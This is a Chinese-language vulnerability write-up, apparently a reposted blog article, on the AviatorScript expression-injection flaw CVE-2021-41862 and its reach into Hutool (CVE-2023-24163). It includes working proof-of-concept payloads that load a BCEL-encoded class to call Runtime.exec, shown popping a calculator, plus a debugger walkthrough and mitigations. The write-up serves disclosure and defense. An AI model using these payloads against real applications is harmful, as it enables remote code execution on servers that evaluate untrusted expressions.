AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

渗透技巧 1年前 (2023) admin
1,187 0 0

前言

最近在看Hutool工具的CVE-2023-24163漏洞的时候,发现了是基于2021年郁离歌师傅公布的AviatorScript组件表达式注入漏洞,正好就跟着分析学习一下。
输入aviator表达式时可以直接new对象,但是不允许调用非public static的方法。可以使用BCELClassloader加载BCEL编码的形式完成RCE。首先准备一个恶意的evil.class。设置public static方法exec来执行任意命令。

漏洞复现
因为漏洞描述中说到到不能调用非public static的方法,可以使用BCEL ClassLoader的方式加载一个类来达到RCE。
import java.io.IOException;public class TestEvil {    public static Process exec(String cmd) throws IOException {        return Runtime.getRuntime().exec(cmd);    }}

使用javac将其编译成TestEvil.class文件

之后再使用BCEL Encode进行编码

import com.sun.org.apache.bcel.internal.classfile.Utility;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;public class BCELencode {    public static void main(String []args) throws Exception{        Path path = Paths.get("TestEvil.class");        byte[] data = Files.readAllBytes(path);        String s = Utility.encode(data,true);        System.out.print("$$BCEL$$"+s);    }}

再引入有漏洞的版本

<dependencies>    <dependency>        <groupId>com.googlecode.aviator</groupId>        <artifactId>aviator</artifactId>        <version>5.3.0-beta</version>    </dependency></dependencies>

再调用AviatorScript处理表达式

import com.googlecode.aviator.AviatorEvaluator;import com.googlecode.aviator.AviatorEvaluatorInstance;public class Main {    public static void main(String[] args) {        AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();        evaluator.execute("'a'+(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$5dP$cbJ$c3P$Q$3d$d3$3c$8d$a9m$ad$f5$F$82$aeL$bb0$hw$R7RA$uVlq$9f$c6K$b9$rM$q$b9$z$fd$y$dd$a8$b8$f0$D$fc$uq$S$b4$z$5e$9833$87sf$86$fb$f5$fd$f1$J$e0$i$87$O$M$d4$j4$b0$5d$40$d3$c2$8e$85$W$c1$bc$90$89T$97$E$cdk$3f$Q$f4$ab$f4Q$Qj$3d$99$88$db$d9t$q$b2a8$8a$99$d1$c5BD$84S$af7$J$e7$a1$l$87$c9$d8$l$a8L$s$e3$a0$bdF$ddei$q$f2$3c$m8$ddE$q$9e$94L$93$dc$c2$$$f7$83t$96E$e2Z$W$d3$aaC$91$ab$ee$5c$c6g$85$d5$85$J$cb$c2$9e$8b$7d$i$b8p$b0I$b0$ff$U$84$faj$7c$7f4$R$91$o4KJ$a6$feM$7f$b9$86$d0X$J$efg$89$92S$de$e4$8c$85Z6$zo$fd$d6_$3a$c0$Jt$fe$9c$e2U$40$c5$z$8c6wG$9c$89$b3$d1y$D$bdpA$d8$604KR$e3$9a$_eK$n$3d$$$ad$80$fd$8eJ$e7$V$da$f3$3f$b5$B$97Q$e7$ba$ca$b1U$ae$aa$fd$A$bd2$a8$80$9d$B$A$A",true,newcom.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec("cmd /c calc") );");    }}

成功执行,弹出计算器

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

看到issue中的killme2008作者直接给出更简单的注入方法

AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();evaluator.setFunctionMissing(JavaMethodReflectionFunctionMissing.getInstance());evaluator.execute("exec(Runtime.getRuntime(), 'cmd /c calc')");


漏洞分析

直接跟进execute方法

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

跟进之后

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

发现代码会头通过词法分析和代码生成器在内存中生成一个类信息,里面就包含了需要执行的Java代码

返回Expression,这个Expression中就包含了生成好的字节码信息

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

跟进execute方法

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

可以看到已经进入到生成好的Class类中了

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

最后在调用execute0方法时,执行恶意代码

而该方法已经在ASMCodeGenerator类中生成

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

在execute0方法往下可以看到执行了getFunc返回值的call方法

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

跟进之后,发现判断了this.functionMissing的值是否为空,也就是之前设置好的JavaMethodReflectionFunctionMissing对象

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

最终在onFunctionMissing方法中执行反射调用

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

最终造成命令执行

而使用BCEL注入的代码执行

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

会调用variadicCall方法的时候会实例化对应的ClassLoader

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

接着进入call方法用于调用具体的函数实现。该方法首先通过调用getFunc方法获取具体的函数实现,并将传入的环境和参数传递给它。

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

这里返回的是Class.forName的方法,之后调用call的时候会通过Class.forName返回恶意类

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

接着,该方法之后会进入add方法,返回类实现的结果,这个结果可以是任何类型的AviatorObject对象

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

往下执行会调用到该类的静态方法exec

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

最终弹出计算器

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)


影响组件

最近看到开发组件中用到最多的Hutool中也存在漏洞CVE-2023-24163

阅读详情发现其实底层也是使用了Aviator有漏洞的版本组件来进行解析

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

在pom.xml中添加如下内容:

<dependency>    <groupId>cn.hutool</groupId>    <artifactId>hutool-all</artifactId>    <version>5.8.15</version></dependency> <dependency>    <groupId>com.googlecode.aviator</groupId>    <artifactId>aviator</artifactId>    <version>5.2.7</version></dependency> <dependency>    <groupId>org.mvel</groupId>    <artifactId>mvel2</artifactId>    <version>2.4.11.Final</version></dependency>

再运行测试代码

import cn.hutool.extra.expression.ExpressionUtil;public class Main {    public static void main(String[] args) {         String exp = "'a'+(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A",true,newcom.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec("calc") );";        final Object eval = ExpressionUtil.eval(exp, null);    }}
AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)


修复方法

默认情况下, AviatorScript 会启用所有的语言特性。对于将 AviatorScript 作为一个语言沙箱来使用的场景,用户编写的脚本可能是千奇百怪的,有各种各样的安全隐患

设置允许用户在 new 语句或者静态变量(方法)访问的时候使用的 Class 白名单,通过Options.ALLOWED_CLASS_SET 选项(5.2.2 新增),比如禁止调用 System.exit(0) 这样的危险操作。

Set<Class<?>> allowedClassSet = new HashSet<>();allowedClassSet.add(java.util.ArrayList.class);allowedClassSet.add(java.lang.Math.class);AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();evaluator.setOption(Options.ALLOWED_CLASS_SET, allowedClassSet);evaluator.execute("'a'+(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$5dP$cbJ$c3P$Q$3d$d3$3c$8d$a9m$ad$f5$F$82$aeL$bb0$hw$R7RA$uVlq$9f$c6K$b9$rM$q$b9$z$fd$y$dd$a8$b8$f0$D$fc$uq$S$b4$z$5e$9833$87sf$86$fb$f5$fd$f1$J$e0$i$87$O$M$d4$j4$b0$5d$40$d3$c2$8e$85$W$c1$bc$90$89T$97$E$cdk$3f$Q$f4$ab$f4Q$Qj$3d$99$88$db$d9t$q$b2a8$8a$99$d1$c5BD$84S$af7$J$e7$a1$l$87$c9$d8$l$a8L$s$e3$a0$bdF$ddei$q$f2$3c$m8$ddE$q$9e$94L$93$dc$c2$$$f7$83t$96E$e2Z$W$d3$aaC$91$ab$ee$5c$c6g$85$d5$85$J$cb$c2$9e$8b$7d$i$b8p$b0I$b0$ff$U$84$faj$7c$7f4$R$91$o4KJ$a6$feM$7f$b9$86$d0X$J$efg$89$92S$de$e4$8c$85Z6$zo$fd$d6_$3a$c0$Jt$fe$9c$e2U$40$c5$z$8c6wG$9c$89$b3$d1y$D$bdpA$d8$604KR$e3$9a$_eK$n$3d$$$ad$80$fd$8eJ$e7$V$da$f3$3f$b5$B$97Q$e7$ba$ca$b1U$ae$aa$fd$A$bd2$a8$80$9d$B$A$A",true,newcom.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec("cmd /c calc") );");
AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

或者是直接将Feature.NewInstance功能关闭

evaluator.disableFeature(Feature.NewInstance);

AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)


Reference

[1].https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41862

[2].https://github.com/advisories/GHSA-6c25-cxcc-pmc4

[3].https://gitee.com/dromara/hutool/issues/I6AJWJ#note_15801868


原文始发于微信公众号(凌日实验室):AviatorScript组件表达式注入漏洞分析(CVE-2021-41862)

版权声明:admin 发表于 2023年3月20日 下午2:55。
转载请注明:AviatorScript组件表达式注入漏洞分析(CVE-2021-41862) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...